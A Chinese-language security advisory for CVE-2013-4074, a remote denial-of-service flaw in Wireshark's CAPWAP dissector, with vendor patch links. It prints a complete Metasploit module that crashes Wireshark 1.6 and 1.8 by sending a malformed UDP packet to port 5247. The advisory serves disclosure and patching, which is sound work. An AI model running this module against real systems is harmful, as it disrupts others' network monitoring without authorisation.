Wireshark CAPWAP Dissector packet-capwap.c dissect_capwap_
发布日期：2014-05-29
更新日期：2014-06-02
受影响系统：
Wireshark Wireshark 1.x
描述：
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CVE(CAN) ID: CVE-2013-4074
Wireshark是最流行的网络协议解析器。
Wireshark中，packet-capwap.c里的函数dissect_capwap_data在CAPWAP解析器内的实现上存在远程拒绝服务漏洞，此漏洞可在处理特制数据包时触发，导致应用崩溃。
<*来源：Laurent Butti （[email protected]）
链接：http://osvdb.org/show/osvdb/94091
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Laurent Butti （[email protected]）提供了如下测试方法：
#
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Wireshark CAPWAP Dissector DoS',
'Description' => %q{
This module inject a malicious udp packet to crash Wireshark 1.8.0 to 1.8.7 and 1.6.0
to 1.6.15. The vulnerability exists in the capwap dissector which fails to handle an
incomplete packet.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Laurent Butti', # Discovery vulnerability
'j0sm1' # Auxiliary msf module
],
'References' =>
[
['CVE', '2013-4074'],
['OSVDB', '94091'],
['BID', '60500']
],
'DisclosureDate' => 'Apr 28 2014'))
# Protocol capwap needs port 5247 to trigger the dissector in wireshark
register_options([ Opt::RPORT(5247) ], self.class)
end
def run
connect_udp
# We send a packet incomplete to crash dissector
print_status("#{rhost}:#{rport} - Trying to crash wireshark capwap dissector ...")
# With 0x90 in this location we set to 1 the flags F and M. The others flags are sets to 0, then
# the dissector crash
# You can see more information here: https://www.rfc-editor.org/rfc/rfc5415.txt
# F = 1 ; L = 0 ; W = 0 ; M = 1 ; K = 0 ; Flags = 000
buf = Rex::Text.rand_text(3) + "\x90" + Rex::Text.rand_text(15)
udp_sock.put(buf)
disconnect_udp
end
end
建议：
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厂商补丁：
Wireshark
---------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://www.wireshark.org/security/wnpa-sec-2013-32.html
http://anonsvn.wireshark.org/viewvc/trunk/epan/dissectors/packet-capwap.c?r1=43716&r2=43715&pathrev=43716
Wireshark 的详细介绍：请点这里
Wireshark 的下载地址：请点这里